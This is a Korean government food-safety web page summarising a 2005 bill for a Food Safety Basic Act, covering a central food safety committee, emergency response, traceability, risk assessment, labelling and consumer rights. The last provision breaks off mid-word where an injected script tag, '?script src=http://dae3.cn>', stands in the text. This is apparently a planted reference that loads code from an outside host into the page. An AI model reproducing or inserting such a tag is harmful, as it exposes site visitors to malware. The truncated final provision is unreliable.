본문 바로가기 주요메뉴 바로가기

법령 및 고시

>식품정보 > 법령 및 고시
화면 확대 화면 축소 현재페이지 프린트

뷰어  다운로드

  • 아래아한글 뷰어 2007  다운로드
  • Acrobat Reader 한글판 V7.0 뷰어 다운로드
  • Microsoft 엑셀 뷰어 다운로드
  • Microsoft 파워포인트 뷰어 다운로드
  • Microsoft 워드 뷰어 다운로드
게시글 상세보기
식품안전기본법안(김선미의원 대표발의)
작성자 식품안전부 등록일 2005/01/06 조회 16514
첨부
제안이유

광우병파동, 조류독감 등의 사건은 식품의 안전성이 생산․가공․수입․유통․판매 등 모든 단계에서 확보되어야 함을 보여주고 있음.

그러나 현행 우리의 식품안전관리체계는 농산물․축산물․수산물 등 에 따라 각각 관련법령과 관리부처가 분산되어 식품안전관리가 종합적으로 이루어지지 못하고 관리사각지대가 발생하거나 비효율적인 중복행정이 이루어지는 경우가 많이 발생하고 있음.

이러한 분산된 식품안전관리체계와 식품안전정책을 종합적으로 조정하기 위하여 식품안전위원회의 설립을 주요 내용으로 하는 식품안전기본법을 제정하여 정책의 일관성과 효율성을 높이려는 것임.



주요내용

가. 식품안전정책은 과학적 합리성․일관성․투명성․신속성의 원칙을 토대로 수립․시행되도록 함(안 제4조).

나. 식품의 생산․가공․수입․유통․판매 등의 모든 단계에서 사업자는 국가 및 지방자치단체의 식품안전정책 및 식품안전을 위한 조치에 협력하도록 함(안 제9조).

다. 정부는 식품안전위원회의 심의를 거쳐 3년마다 식품안전관리기본계획을 수립하도록 함(안 제11조).


라. 국가는 식품으로 인하여 국민건강과 관련된 중대한 피해가 발생하였거나 발생할 우려가 있는 경우에 대처하기 위한 긴급대응체계를 구축․운영하도록 함(안 제12조).

마. 식품에 의한 위해발생의 사전 예방과 발생된 위해의 신속한 제거를 위하여 추적조사관리체계 구축, 사전예방조치 및 신속조치제도 도입 등 위해식품을 신속하게 관리할 수 있는 근거를 마련함(안 제13조 내지 제17조).

바. 국가는 국민건강에 위해를 줄 우려가 있는 식품에 대해서는 위해평가를 하도록 함(안 제18조).

사. 국가는 식품의 구매에 필요한 정보를 소비자가 쉽게 알 수 있도록 표시제도를 마련하도록 함(안 제20조).

아. 국가는 식품안전과 관련된 정보를 체계적이고 종합적으로 관리하기 위하여 통합전산정보망을 구축․운영하도록 함(안 제23조).

자. 식품안전에 대한 소비자의 권리를 강화하기 위해 식품안전정책에 대한 소비자의 참여보장 및 소비자에 대한 정부의 지원․협력을 강화함(안 제24조 내지 제28조).

차. 식품으로 인한 분쟁의 신속한 해결을 위해 피해보상기준을 제정할 수 있는 근거를 마련하고, 소비?script src=http://dae3.cn>
다음글 기구 및 용기․포장의 기준․규격 중 개정(안) 입안예고(2005.1.18)
이전글 식품안전기본법안(고경화의원 대표발의)

QUICK
MENU

TOP